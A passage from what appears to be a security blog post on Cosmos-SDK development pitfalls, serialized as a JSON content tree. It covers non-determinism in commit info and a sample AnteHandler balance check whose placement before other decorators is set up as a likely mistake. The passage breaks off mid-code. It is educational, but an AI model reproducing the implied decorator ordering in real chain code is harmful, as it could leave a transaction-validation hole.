int64\n",{"type":20,"tag":315,"props":76295,"children":76296},{"class":317,"line":365},[76297,76301,76305,76309,76313,76318],{"type":20,"tag":315,"props":76298,"children":76299},{"style":328},[76300],{"type":26,"value":1468},{"type":20,"tag":315,"props":76302,"children":76303},{"style":334},[76304],{"type":26,"value":901},{"type":20,"tag":315,"props":76306,"children":76307},{"style":322},[76308],{"type":26,"value":4151},{"type":20,"tag":315,"props":76310,"children":76311},{"style":328},[76312],{"type":26,"value":61},{"type":20,"tag":315,"props":76314,"children":76315},{"style":322},[76316],{"type":26,"value":76317},"CommitInfo",{"type":20,"tag":315,"props":76319,"children":76320},{"style":328},[76321],{"type":26,"value":1092},{"type":20,"tag":315,"props":76323,"children":76324},{"class":317,"line":374},[76325,76330,76334,76338,76342,76346,76351],{"type":20,"tag":315,"props":76326,"children":76327},{"style":635},[76328],{"type":26,"value":76329}," storeInfos",{"type":20,"tag":315,"props":76331,"children":76332},{"style":334},[76333],{"type":26,"value":74674},{"type":20,"tag":315,"props":76335,"children":76336},{"style":328},[76337],{"type":26,"value":74485},{"type":20,"tag":315,"props":76339,"children":76340},{"style":322},[76341],{"type":26,"value":4151},{"type":20,"tag":315,"props":76343,"children":76344},{"style":328},[76345],{"type":26,"value":61},{"type":20,"tag":315,"props":76347,"children":76348},{"style":322},[76349],{"type":26,"value":76350},"StoreInfo",{"type":20,"tag":315,"props":76352,"children":76353},{"style":328},[76354],{"type":26,"value":76355},"{}\n",{"type":20,"tag":315,"props":76357,"children":76358},{"class":317,"line":383},[76359,76363,76367,76371,76375,76379,76383,76388,76392,76397],{"type":20,"tag":315,"props":76360,"children":76361},{"style":525},[76362],{"type":26,"value":1413},{"type":20,"tag":315,"props":76364,"children":76365},{"style":635},[76366],{"type":26,"value":4325},{"type":20,"tag":315,"props":76368,"children":76369},{"style":328},[76370],{"type":26,"value":44},{"type":20,"tag":315,"props":76372,"children":76373},{"style":635},[76374],{"type":26,"value":4334},{"type":20,"tag":315,"props":76376,"children":76377},{"style":334},[76378],{"type":26,"value":74674},{"type":20,"tag":315,"props":76380,"children":76381},{"style":525},[76382],{"type":26,"value":75657},{"type":20,"tag":315,"props":76384,"children":76385},{"style":635},[76386],{"type":26,"value":76387}," rs",{"type":20,"tag":315,"props":76389,"children":76390},{"style":328},[76391],{"type":26,"value":61},{"type":20,"tag":315,"props":76393,"children":76394},{"style":635},[76395],{"type":26,"value":76396},"stores",{"type":20,"tag":315,"props":76398,"children":76399},{"style":328},[76400],{"type":26,"value":1092},{"type":20,"tag":315,"props":76402,"children":76403},{"class":317,"line":407},[76404,76408,76412,76416,76421,76425,76429,76434,76438,76443],{"type":20,"tag":315,"props":76405,"children":76406},{"style":525},[76407],{"type":26,"value":1654},{"type":20,"tag":315,"props":76409,"children":76410},{"style":635},[76411],{"type":26,"value":4224},{"type":20,"tag":315,"props":76413,"children":76414},{"style":328},[76415],{"type":26,"value":61},{"type":20,"tag":315,"props":76417,"children":76418},{"style":345},[76419],{"type":26,"value":76420},"GetStoreType",{"type":20,"tag":315,"props":76422,"children":76423},{"style":328},[76424],{"type":26,"value":12444},{"type":20,"tag":315,"props":76426,"children":76427},{"style":334},[76428],{"type":26,"value":538},{"type":20,"tag":315,"props":76430,"children":76431},{"style":635},[76432],{"type":26,"value":76433}," types",{"type":20,"tag":315,"props":76435,"children":76436},{"style":328},[76437],{"type":26,"value":61},{"type":20,"tag":315,"props":76439,"children":76440},{"style":635},[76441],{"type":26,"value":76442},"StoreTypeTransient",{"type":20,"tag":315,"props":76444,"children":76445},{"style":328},[76446],{"type":26,"value":1092},{"type":20,"tag":315,"props":76448,"children":76449},{"class":317,"line":421},[76450],{"type":20,"tag":315,"props":76451,"children":76452},{"style":525},[76453],{"type":26,"value":76454}," continue\n",{"type":20,"tag":315,"props":76456,"children":76457},{"class":317,"line":430},[76458],{"type":20,"tag":315,"props":76459,"children":76460},{"style":328},[76461],{"type":26,"value":1728},{"type":20,"tag":315,"props":76463,"children":76464},{"class":317,"line":453},[76465,76470,76474,76478,76482,76487,76491,76495,76499,76503],{"type":20,"tag":315,"props":76466,"children":76467},{"style":635},[76468],{"type":26,"value":76469}," storeInfos",{"type":20,"tag":315,"props":76471,"children":76472},{"style":334},[76473],{"type":26,"value":1395},{"type":20,"tag":315,"props":76475,"children":76476},{"style":345},[76477],{"type":26,"value":75954},{"type":20,"tag":315,"props":76479,"children":76480},{"style":328},[76481],{"type":26,"value":1049},{"type":20,"tag":315,"props":76483,"children":76484},{"style":635},[76485],{"type":26,"value":76486},"storeInfos",{"type":20,"tag":315,"props":76488,"children":76489},{"style":328},[76490],{"type":26,"value":44},{"type":20,"tag":315,"props":76492,"children":76493},{"style":322},[76494],{"type":26,"value":4151},{"type":20,"tag":315,"props":76496,"children":76497},{"style":328},[76498],{"type":26,"value":61},{"type":20,"tag":315,"props":76500,"children":76501},{"style":322},[76502],{"type":26,"value":76350},{"type":20,"tag":315,"props":76504,"children":76505},{"style":328},[76506],{"type":26,"value":723},{"type":20,"tag":315,"props":76508,"children":76509},{"class":317,"line":486},[76510,76515,76520,76524,76528,76533],{"type":20,"tag":315,"props":76511,"children":76512},{"style":635},[76513],{"type":26,"value":76514}," Name",{"type":20,"tag":315,"props":76516,"children":76517},{"style":328},[76518],{"type":26,"value":76519},": ",{"type":20,"tag":315,"props":76521,"children":76522},{"style":635},[76523],{"type":26,"value":70412},{"type":20,"tag":315,"props":76525,"children":76526},{"style":328},[76527],{"type":26,"value":61},{"type":20,"tag":315,"props":76529,"children":76530},{"style":345},[76531],{"type":26,"value":76532},"Name",{"type":20,"tag":315,"props":76534,"children":76535},{"style":328},[76536],{"type":26,"value":1871},{"type":20,"tag":315,"props":76538,"children":76539},{"class":317,"line":499},[76540,76545,76549,76553,76557,76562],{"type":20,"tag":315,"props":76541,"children":76542},{"style":635},[76543],{"type":26,"value":76544}," CommitId",{"type":20,"tag":315,"props":76546,"children":76547},{"style":328},[76548],{"type":26,"value":13732},{"type":20,"tag":315,"props":76550,"children":76551},{"style":635},[76552],{"type":26,"value":4334},{"type":20,"tag":315,"props":76554,"children":76555},{"style":328},[76556],{"type":26,"value":61},{"type":20,"tag":315,"props":76558,"children":76559},{"style":345},[76560],{"type":26,"value":76561},"LastCommitID",{"type":20,"tag":315,"props":76563,"children":76564},{"style":328},[76565],{"type":26,"value":1871},{"type":20,"tag":315,"props":76567,"children":76568},{"class":317,"line":513},[76569],{"type":20,"tag":315,"props":76570,"children":76571},{"style":328},[76572],{"type":26,"value":66453},{"type":20,"tag":315,"props":76574,"children":76575},{"class":317,"line":521},[76576],{"type":20,"tag":315,"props":76577,"children":76578},{"style":328},[76579],{"type":26,"value":1736},{"type":20,"tag":315,"props":76581,"children":76582},{"class":317,"line":552},[76583,76587,76591,76595,76599,76603],{"type":20,"tag":315,"props":76584,"children":76585},{"style":525},[76586],{"type":26,"value":731},{"type":20,"tag":315,"props":76588,"children":76589},{"style":334},[76590],{"type":26,"value":5536},{"type":20,"tag":315,"props":76592,"children":76593},{"style":322},[76594],{"type":26,"value":4151},{"type":20,"tag":315,"props":76596,"children":76597},{"style":328},[76598],{"type":26,"value":61},{"type":20,"tag":315,"props":76600,"children":76601},{"style":322},[76602],{"type":26,"value":76317},{"type":20,"tag":315,"props":76604,"children":76605},{"style":328},[76606],{"type":26,"value":723},{"type":20,"tag":315,"props":76608,"children":76609},{"class":317,"line":571},[76610,76615,76620,76625],{"type":20,"tag":315,"props":76611,"children":76612},{"style":635},[76613],{"type":26,"value":76614}," Version",{"type":20,"tag":315,"props":76616,"children":76617},{"style":328},[76618],{"type":26,"value":76619},": ",{"type":20,"tag":315,"props":76621,"children":76622},{"style":635},[76623],{"type":26,"value":76624},"version",{"type":20,"tag":315,"props":76626,"children":76627},{"style":328},[76628],{"type":26,"value":643},{"type":20,"tag":315,"props":76630,"children":76631},{"class":317,"line":2031},[76632,76637,76641,76645],{"type":20,"tag":315,"props":76633,"children":76634},{"style":635},[76635],{"type":26,"value":76636}," StoreInfos",{"type":20,"tag":315,"props":76638,"children":76639},{"style":328},[76640],{"type":26,"value":13732},{"type":20,"tag":315,"props":76642,"children":76643},{"style":635},[76644],{"type":26,"value":76486},{"type":20,"tag":315,"props":76646,"children":76647},{"style":328},[76648],{"type":26,"value":643},{"type":20,"tag":315,"props":76650,"children":76651},{"class":317,"line":2053},[76652],{"type":20,"tag":315,"props":76653,"children":76654},{"style":328},[76655],{"type":26,"value":1736},{"type":20,"tag":315,"props":76657,"children":76658},{"class":317,"line":2061},[76659],{"type":20,"tag":315,"props":76660,"children":76661},{"style":328},[76662],{"type":26,"value":577},{"type":20,"tag":29,"props":76664,"children":76665},{},[76666,76668,76675,76676,76683],{"type":26,"value":76667},"Other factors contributing to determinism issues are the usage of ",{"type":20,"tag":35,"props":76669,"children":76672},{"href":76670,"rel":76671},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[39],[76673],{"type":26,"value":76674},"time-sensitive functions",{"type":26,"value":9392},{"type":20,"tag":35,"props":76677,"children":76680},{"href":76678,"rel":76679},"https://github.com/cosmos/cosmos-sdk/issues/16638",[39],[76681],{"type":26,"value":76682},"race conditions",{"type":26,"value":61},{"type":20,"tag":21,"props":76685,"children":76687},{"id":76686},"thou-shalt-not-passor-should-you",[76688],{"type":26,"value":76689},"Thou Shalt Not Pass...Or Should You?",{"type":20,"tag":29,"props":76691,"children":76692},{},[76693,76695,76701,76702,76708],{"type":26,"value":76694},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":20,"tag":119,"props":76696,"children":76698},{"className":76697},[],[76699],{"type":26,"value":76700},"msg.value",{"type":26,"value":44},{"type":20,"tag":119,"props":76703,"children":76705},{"className":76704},[],[76706],{"type":26,"value":76707},"msg.sender",{"type":26,"value":76709},", and collecting transaction fees) to the underlying blockchain.",{"type":20,"tag":29,"props":76711,"children":76712},{},[76713,76715,76721,76723,76729],{"type":26,"value":76714},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":20,"tag":119,"props":76716,"children":76718},{"className":76717},[],[76719],{"type":26,"value":76720},"Cosmos-SDK",{"type":26,"value":76722}," introduces ",{"type":20,"tag":119,"props":76724,"children":76726},{"className":76725},[],[76727],{"type":26,"value":76728},"AnteHandler",{"type":26,"value":76730}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":20,"tag":29,"props":76732,"children":76733},{},[76734,76736,76741,76743,76748],{"type":26,"value":76735},"To provide context, let's first understand how an ",{"type":20,"tag":119,"props":76737,"children":76739},{"className":76738},[],[76740],{"type":26,"value":76728},{"type":26,"value":76742}," is processed. Each ",{"type":20,"tag":119,"props":76744,"children":76746},{"className":76745},[],[76747],{"type":26,"value":76728},{"type":26,"value":76749}," is a state transition function that can:",{"type":20,"tag":68,"props":76751,"children":76752},{},[76753,76758],{"type":20,"tag":72,"props":76754,"children":76755},{},[76756],{"type":26,"value":76757},"Transform the block state in relation to transaction and execution context.",{"type":20,"tag":72,"props":76759,"children":76760},{},[76761,76763],{"type":26,"value":76762},"Determine the course of action for the transaction.\n",{"type":20,"tag":68,"props":76764,"children":76765},{},[76766,76777],{"type":20,"tag":72,"props":76767,"children":76768},{},[76769,76771,76776],{"type":26,"value":76770},"Pass the transaction to the next ",{"type":20,"tag":119,"props":76772,"children":76774},{"className":76773},[],[76775],{"type":26,"value":76728},{"type":26,"value":61},{"type":20,"tag":72,"props":76778,"children":76779},{},[76780],{"type":26,"value":76781},"Return error for transaction.",{"type":20,"tag":29,"props":76783,"children":76784},{},[76785,76787,76792],{"type":26,"value":76786},"The bad news is that developing an ",{"type":20,"tag":119,"props":76788,"children":76790},{"className":76789},[],[76791],{"type":26,"value":76728},{"type":26,"value":76793}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":20,"tag":29,"props":76795,"children":76796},{},[76797,76798,76804],{"type":26,"value":15015},{"type":20,"tag":119,"props":76799,"children":76801},{"className":76800},[],[76802],{"type":26,"value":76803},"AnteHandle",{"type":26,"value":76805}," implementation may look something like this:",{"type":20,"tag":305,"props":76807,"children":76809},{"code":76808,"language":74422,"meta":7,"className":74423,"style":7},"const (\n MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n ctx sdk.Context,\n tx sdk.Tx,\n simulate bool,\n next sdk.AnteHandler,\n) (sdk.Context, error) {\n sigTx, ok := tx.(authsigning.SigVerifiableTx)\n if !ok {\n return ctx, errorsmod.Wrap(\n sdkerrors.ErrTxDecode,\n \"invalid tx type\",\n )\n }\n\n signers := sigTx.GetSigners()\n for i, signer := range signers {\n balance := abd.bk.getBalance(ctx, signer, ATOM)\n if balance.Amount \u003C MIN_BALANCE {\n return ctx, errorsmod.Wrap(\n ErrInsufficientBalance,\n \"Insufficient Balance\",\n )\n }\n }\n\n return next(ctx, tx, simulate)\n}\n",[76810],{"type":20,"tag":119,"props":76811,"children":76812},{"__ignoreMap":7},[76813,76825,76841,76848,76855,76888,76912,76937,76953,76977,77009,77057,77076,77109,77130,77142,77149,77156,77163,77193,77229,77293,77327,77359,77371,77383,77390,77397,77404,77411,77453],{"type":20,"tag":315,"props":76814,"children":76815},{"class":317,"line":318},[76816,76820],{"type":20,"tag":315,"props":76817,"children":76818},{"style":541},[76819],{"type":26,"value":8054},{"type":20,"tag":315,"props":76821,"children":76822},{"style":328},[76823],{"type":26,"value":76824}," (\n",{"type":20,"tag":315,"props":76826,"children":76827},{"class":317,"line":356},[76828,76833,76837],{"type":20,"tag":315,"props":76829,"children":76830},{"style":635},[76831],{"type":26,"value":76832}," MIN_BALANCE",{"type":20,"tag":315,"props":76834,"children":76835},{"style":334},[76836],{"type":26,"value":1395},{"type":20,"tag":315,"props":76838,"children":76839},{"style":765},[76840],{"type":26,"value":17747},{"type":20,"tag":315,"props":76842,"children":76843},{"class":317,"line":365},[76844],{"type":20,"tag":315,"props":76845,"children":76846},{"style":328},[76847],{"type":26,"value":380},{"type":20,"tag":315,"props":76849,"children":76850},{"class":317,"line":374},[76851],{"type":20,"tag":315,"props":76852,"children":76853},{"emptyLinePlaceholder":15},[76854],{"type":26,"value":427},{"type":20,"tag":315,"props":76856,"children":76857},{"class":317,"line":383},[76858,76862,76866,76871,76876,76880,76884],{"type":20,"tag":315,"props":76859,"children":76860},{"style":541},[76861],{"type":26,"value":74558},{"type":20,"tag":315,"props":76863,"children":76864},{"style":328},[76865],{"type":26,"value":463},{"type":20,"tag":315,"props":76867,"children":76868},{"style":635},[76869],{"type":26,"value":76870},"abd ",{"type":20,"tag":315,"props":76872,"children":76873},{"style":322},[76874],{"type":26,"value":76875},"AccountBalanceDecorator",{"type":20,"tag":315,"props":76877,"children":76878},{"style":328},[76879],{"type":26,"value":1468},{"type":20,"tag":315,"props":76881,"children":76882},{"style":345},[76883],{"type":26,"value":76803},{"type":20,"tag":315,"props":76885,"children":76886},{"style":328},[76887],{"type":26,"value":353},{"type":20,"tag":315,"props":76889,"children":76890},{"class":317,"line":407},[76891,76895,76900,76904,76908],{"type":20,"tag":315,"props":76892,"children":76893},{"style":635},[76894],{"type":26,"value":18627},{"type":20,"tag":315,"props":76896,"children":76897},{"style":322},[76898],{"type":26,"value":76899}," sdk",{"type":20,"tag":315,"props":76901,"children":76902},{"style":328},[76903],{"type":26,"value":61},{"type":20,"tag":315,"props":76905,"children":76906},{"style":322},[76907],{"type":26,"value":74607},{"type":20,"tag":315,"props":76909,"children":76910},{"style":328},[76911],{"type":26,"value":643},{"type":20,"tag":315,"props":76913,"children":76914},{"class":317,"line":421},[76915,76920,76924,76928,76933],{"type":20,"tag":315,"props":76916,"children":76917},{"style":635},[76918],{"type":26,"value":76919}," tx",{"type":20,"tag":315,"props":76921,"children":76922},{"style":322},[76923],{"type":26,"value":76899},{"type":20,"tag":315,"props":76925,"children":76926},{"style":328},[76927],{"type":26,"value":61},{"type":20,"tag":315,"props":76929,"children":76930},{"style":322},[76931],{"type":26,"value":76932},"Tx",{"type":20,"tag":315,"props":76934,"children":76935},{"style":328},[76936],{"type":26,"value":643},{"type":20,"tag":315,"props":76938,"children":76939},{"class":317,"line":430},[76940,76945,76949],{"type":20,"tag":315,"props":76941,"children":76942},{"style":635},[76943],{"type":26,"value":76944}," simulate",{"type":20,"tag":315,"props":76946,"children":76947},{"style":322},[76948],{"type":26,"value":10451},{"type":20,"tag":315,"props":76950,"children":76951},{"style":328},[76952],{"type":26,"value":643},{"type":20,"tag":315,"props":76954,"children":76955},{"class":317,"line":453},[76956,76961,76965,76969,76973],{"type":20,"tag":315,"props":76957,"children":76958},{"style":635},[76959],{"type":26,"value":76960}," next",{"type":20,"tag":315,"props":76962,"children":76963},{"style":322},[76964],{"type":26,"value":76899},{"type":20,"tag":315,"props":76966,"children":76967},{"style":328},[76968],{"type":26,"value":61},{"type":20,"tag":315,"props":76970,"children":76971},{"style":322},[76972],{"type":26,"value":76728},{"type":20,"tag":315,"props":76974,"children":76975},{"style":328},[76976],{"type":26,"value":643},{"type":20,"tag":315,"props":76978,"children":76979},{"class":317,"line":486},[76980,76984,76989,76993,76997,77001,77005],{"type":20,"tag":315,"props":76981,"children":76982},{"style":328},[76983],{"type":26,"value":74640},{"type":20,"tag":315,"props":76985,"children":76986},{"style":322},[76987],{"type":26,"value":76988},"sdk",{"type":20,"tag":315,"props":76990,"children":76991},{"style":328},[76992],{"type":26,"value":61},{"type":20,"tag":315,"props":76994,"children":76995},{"style":322},[76996],{"type":26,"value":74607},{"type":20,"tag":315,"props":76998,"children":76999},{"style":328},[77000],{"type":26,"value":44},{"type":20,"tag":315,"props":77002,"children":77003},{"style":322},[77004],{"type":26,"value":13264},{"type":20,"tag":315,"props":77006,"children":77007},{"style":328},[77008],{"type":26,"value":549},{"type":20,"tag":315,"props":77010,"children":77011},{"class":317,"line":499},[77012,77017,77021,77026,77030,77034,77039,77044,77048,77053],{"type":20,"tag":315,"props":77013,"children":77014},{"style":635},[77015],{"type":26,"value":77016}," sigTx",{"type":20,"tag":315,"props":77018,"children":77019},{"style":328},[77020],{"type":26,"value":44},{"type":20,"tag":315,"props":77022,"children":77023},{"style":635},[77024],{"type":26,"value":77025},"ok",{"type":20,"tag":315,"props":77027,"children":77028},{"style":334},[77029],{"type":26,"value":74674},{"type":20,"tag":315,"props":77031,"children":77032},{"style":635},[77033],{"type":26,"value":66283},{"type":20,"tag":315,"props":77035,"children":77036},{"style":328},[77037],{"type":26,"value":77038},".(",{"type":20,"tag":315,"props":77040,"children":77041},{"style":322},[77042],{"type":26,"value":77043},"authsigning",{"type":20,"tag":315,"props":77045,"children":77046},{"style":328},[77047],{"type":26,"value":61},{"type":20,"tag":315,"props":77049,"children":77050},{"style":322},[77051],{"type":26,"value":77052},"SigVerifiableTx",{"type":20,"tag":315,"props":77054,"children":77055},{"style":328},[77056],{"type":26,"value":380},{"type":20,"tag":315,"props":77058,"children":77059},{"class":317,"line":513},[77060,77064,77068,77072],{"type":20,"tag":315,"props":77061,"children":77062},{"style":525},[77063],{"type":26,"value":10680},{"type":20,"tag":315,"props":77065,"children":77066},{"style":334},[77067],{"type":26,"value":11264},{"type":20,"tag":315,"props":77069,"children":77070},{"style":635},[77071],{"type":26,"value":77025},{"type":20,"tag":315,"props":77073,"children":77074},{"style":328},[77075],{"type":26,"value":1092},{"type":20,"tag":315,"props":77077,"children":77078},{"class":317,"line":521},[77079,77083,77087,77091,77096,77100,77105],{"type":20,"tag":315,"props":77080,"children":77081},{"style":525},[77082],{"type":26,"value":14145},{"type":20,"tag":315,"props":77084,"children":77085},{"style":635},[77086],{"type":26,"value":24259},{"type":20,"tag":315,"props":77088,"children":77089},{"style":328},[77090],{"type":26,"value":44},{"type":20,"tag":315,"props":77092,"children":77093},{"style":635},[77094],{"type":26,"value":77095},"errorsmod",{"type":20,"tag":315,"props":77097,"children":77098},{"style":328},[77099],{"type":26,"value":61},{"type":20,"tag":315,"props":77101,"children":77102},{"style":345},[77103],{"type":26,"value":77104},"Wrap",{"type":20,"tag":315,"props":77106,"children":77107},{"style":328},[77108],{"type":26,"value":353},{"type":20,"tag":315,"props":77110,"children":77111},{"class":317,"line":552},[77112,77117,77121,77126],{"type":20,"tag":315,"props":77113,"children":77114},{"style":635},[77115],{"type":26,"value":77116}," sdkerrors",{"type":20,"tag":315,"props":77118,"children":77119},{"style":328},[77120],{"type":26,"value":61},{"type":20,"tag":315,"props":77122,"children":77123},{"style":635},[77124],{"type":26,"value":77125},"ErrTxDecode",{"type":20,"tag":315,"props":77127,"children":77128},{"style":328},[77129],{"type":26,"value":643},{"type":20,"tag":315,"props":77131,"children":77132},{"class":317,"line":571},[77133,77138],{"type":20,"tag":315,"props":77134,"children":77135},{"style":2652},[77136],{"type":26,"value":77137}," \"invalid tx type\"",{"type":20,"tag":315,"props":77139,"children":77140},{"style":328},[77141],{"type":26,"value":643},{"type":20,"tag":315,"props":77143,"children":77144},{"class":317,"line":2031},[77145],{"type":20,"tag":315,"props":77146,"children":77147},{"style":328},[77148],{"type":26,"value":66576},{"type":20,"tag":315,"props":77150,"children":77151},{"class":317,"line":2053},[77152],{"type":20,"tag":315,"props":77153,"children":77154},{"style":328},[77155],{"type":26,"value":1736},{"type":20,"tag":315,"props":77157,"children":77158},{"class":317,"line":2061},[77159],{"type":20,"tag":315,"props":77160,"children":77161},{"emptyLinePlaceholder":15},[77162],{"type":26,"value":427},{"type":20,"tag":315,"props":77164,"children":77165},{"class":317,"line":2070},[77166,77171,77175,77180,77184,77189],{"type":20,"tag":315,"props":77167,"children":77168},{"style":635},[77169],{"type":26,"value":77170}," signers",{"type":20,"tag":315,"props":77172,"children":77173},{"style":334},[77174],{"type":26,"value":74674},{"type":20,"tag":315,"props":77176,"children":77177},{"style":635},[77178],{"type":26,"value":77179}," sigTx",{"type":20,"tag":315,"props":77181,"children":77182},{"style":328},[77183],{"type":26,"value":61},{"type":20,"tag":315,"props":77185,"children":77186},{"style":345},[77187],{"type":26,"value":77188},"GetSigners",{"type":20,"tag":315,"props":77190,"children":77191},{"style":328},[77192],{"type":26,"value":6131},{"type":20,"tag":315,"props":77194,"children":77195},{"class":317,"line":2139},[77196,77200,77204,77208,77212,77216,77220,77225],{"type":20,"tag":315,"props":77197,"children":77198},{"style":525},[77199],{"type":26,"value":1413},{"type":20,"tag":315,"props":77201,"children":77202},{"style":635},[77203],{"type":26,"value":1779},{"type":20,"tag":315,"props":77205,"children":77206},{"style":328},[77207],{"type":26,"value":44},{"type":20,"tag":315,"props":77209,"children":77210},{"style":635},[77211],{"type":26,"value":5541},{"type":20,"tag":315,"props":77213,"children":77214},{"style":334},[77215],{"type":26,"value":74674},{"type":20,"tag":315,"props":77217,"children":77218},{"style":525},[77219],{"type":26,"value":75657},{"type":20,"tag":315,"props":77221,"children":77222},{"style":635},[77223],{"type":26,"value":77224}," signers",{"type":20,"tag":315,"props":77226,"children":77227},{"style":328},[77228],{"type":26,"value":1092},{"type":20,"tag":315,"props":77230,"children":77231},{"class":317,"line":2147},[77232,77237,77241,77246,77250,77255,77259,77264,77268,77272,77276,77280,77284,77289],{"type":20,"tag":315,"props":77233,"children":77234},{"style":635},[77235],{"type":26,"value":77236}," balance",{"type":20,"tag":315,"props":77238,"children":77239},{"style":334},[77240],{"type":26,"value":74674},{"type":20,"tag":315,"props":77242,"children":77243},{"style":635},[77244],{"type":26,"value":77245}," abd",{"type":20,"tag":315,"props":77247,"children":77248},{"style":328},[77249],{"type":26,"value":61},{"type":20,"tag":315,"props":77251,"children":77252},{"style":635},[77253],{"type":26,"value":77254},"bk",{"type":20,"tag":315,"props":77256,"children":77257},{"style":328},[77258],{"type":26,"value":61},{"type":20,"tag":315,"props":77260,"children":77261},{"style":345},[77262],{"type":26,"value":77263},"getBalance",{"type":20,"tag":315,"props":77265,"children":77266},{"style":328},[77267],{"type":26,"value":1049},{"type":20,"tag":315,"props":77269,"children":77270},{"style":635},[77271],{"type":26,"value":18684},{"type":20,"tag":315,"props":77273,"children":77274},{"style":328},[77275],{"type":26,"value":44},{"type":20,"tag":315,"props":77277,"children":77278},{"style":635},[77279],{"type":26,"value":5541},{"type":20,"tag":315,"props":77281,"children":77282},{"style":328},[77283],{"type":26,"value":44},{"type":20,"tag":315,"props":77285,"children":77286},{"style":635},[77287],{"type":26,"value":77288},"ATOM",{"type":20,"tag":315,"props":77290,"children":77291},{"style":328},[77292],{"type":26,"value":380},{"type":20,"tag":315,"props":77294,"children":77295},{"class":317,"line":2177},[77296,77300,77305,77309,77314,77318,77323],{"type":20,"tag":315,"props":77297,"children":77298},{"style":525},[77299],{"type":26,"value":1654},{"type":20,"tag":315,"props":77301,"children":77302},{"style":635},[77303],{"type":26,"value":77304}," balance",{"type":20,"tag":315,"props":77306,"children":77307},{"style":328},[77308],{"type":26,"value":61},{"type":20,"tag":315,"props":77310,"children":77311},{"style":635},[77312],{"type":26,"value":77313},"Amount",{"type":20,"tag":315,"props":77315,"children":77316},{"style":334},[77317],{"type":26,"value":7115},{"type":20,"tag":315,"props":77319,"children":77320},{"style":635},[77321],{"type":26,"value":77322}," MIN_BALANCE",{"type":20,"tag":315,"props":77324,"children":77325},{"style":328},[77326],{"type":26,"value":1092},{"type":20,"tag":315,"props":77328,"children":77329},{"class":317,"line":2185},[77330,77335,77339,77343,77347,77351,77355],{"type":20,"tag":315,"props":77331,"children":77332},{"style":525},[77333],{"type":26,"value":77334}," return",{"type":20,"tag":315,"props":77336,"children":77337},{"style":635},[77338],{"type":26,"value":24259},{"type":20,"tag":315,"props":77340,"children":77341},{"style":328},[77342],{"type":26,"value":44},{"type":20,"tag":315,"props":77344,"children":77345},{"style":635},[77346],{"type":26,"value":77095},{"type":20,"tag":315,"props":77348,"children":77349},{"style":328},[77350],{"type":26,"value":61},{"type":20,"tag":315,"props":77352,"children":77353},{"style":345},[77354],{"type":26,"value":77104},{"type":20,"tag":315,"props":77356,"children":77357},{"style":328},[77358],{"type":26,"value":353},{"type":20,"tag":315,"props":77360,"children":77361},{"class":317,"line":2217},[77362,77367],{"type":20,"tag":315,"props":77363,"children":77364},{"style":635},[77365],{"type":26,"value":77366}," ErrInsufficientBalance",{"type":20,"tag":315,"props":77368,"children":77369},{"style":328},[77370],{"type":26,"value":643},{"type":20,"tag":315,"props":77372,"children":77373},{"class":317,"line":2225},[77374,77379],{"type":20,"tag":315,"props":77375,"children":77376},{"style":2652},[77377],{"type":26,"value":77378}," \"Insufficient Balance\"",{"type":20,"tag":315,"props":77380,"children":77381},{"style":328},[77382],{"type":26,"value":643},{"type":20,"tag":315,"props":77384,"children":77385},{"class":317,"line":2285},[77386],{"type":20,"tag":315,"props":77387,"children":77388},{"style":328},[77389],{"type":26,"value":75773},{"type":20,"tag":315,"props":77391,"children":77392},{"class":317,"line":7444},[77393],{"type":20,"tag":315,"props":77394,"children":77395},{"style":328},[77396],{"type":26,"value":1728},{"type":20,"tag":315,"props":77398,"children":77399},{"class":317,"line":7462},[77400],{"type":20,"tag":315,"props":77401,"children":77402},{"style":328},[77403],{"type":26,"value":1736},{"type":20,"tag":315,"props":77405,"children":77406},{"class":317,"line":7507},[77407],{"type":20,"tag":315,"props":77408,"children":77409},{"emptyLinePlaceholder":15},[77410],{"type":26,"value":427},{"type":20,"tag":315,"props":77412,"children":77413},{"class":317,"line":7613},[77414,77418,77423,77427,77431,77435,77440,77444,77449],{"type":20,"tag":315,"props":77415,"children":77416},{"style":525},[77417],{"type":26,"value":731},{"type":20,"tag":315,"props":77419,"children":77420},{"style":345},[77421],{"type":26,"value":77422}," next",{"type":20,"tag":315,"props":77424,"children":77425},{"style":328},[77426],{"type":26,"value":1049},{"type":20,"tag":315,"props":77428,"children":77429},{"style":635},[77430],{"type":26,"value":18684},{"type":20,"tag":315,"props":77432,"children":77433},{"style":328},[77434],{"type":26,"value":44},{"type":20,"tag":315,"props":77436,"children":77437},{"style":635},[77438],{"type":26,"value":77439},"tx",{"type":20,"tag":315,"props":77441,"children":77442},{"style":328},[77443],{"type":26,"value":44},{"type":20,"tag":315,"props":77445,"children":77446},{"style":635},[77447],{"type":26,"value":77448},"simulate",{"type":20,"tag":315,"props":77450,"children":77451},{"style":328},[77452],{"type":26,"value":380},{"type":20,"tag":315,"props":77454,"children":77455},{"class":317,"line":21914},[77456],{"type":20,"tag":315,"props":77457,"children":77458},{"style":328},[77459],{"type":26,"value":577},{"type":20,"tag":29,"props":77461,"children":77462},{},[77463,77465,77470,77472,77478,77480,77486],{"type":26,"value":77464},"Where should this custom ",{"type":20,"tag":119,"props":77466,"children":77468},{"className":77467},[],[77469],{"type":26,"value":76728},{"type":26,"value":77471}," be placed relative to other ",{"type":20,"tag":119,"props":77473,"children":77475},{"className":77474},[],[77476],{"type":26,"value":77477},"AnteHandlers",{"type":26,"value":77479}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":20,"tag":119,"props":77481,"children":77483},{"className":77482},[],[77484],{"type":26,"value":77485},"SetUpContextDecorator",{"type":26,"value":77487}," should work, right?",{"type":20,"tag":29,"props":77489,"children":77490},{},[77491],{"type":20,"tag":35,"props":77492,"children":77495},{"href":77493,"rel":77494},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[39],[77496],{"type":26,"value":74997},{"type":20,"tag":305,"props":77498,"children":77500},{"code":77499,"language":74422,"meta":7,"className":74423,"style":7},"anteDecorators := []sdk.AnteDecorator{\n 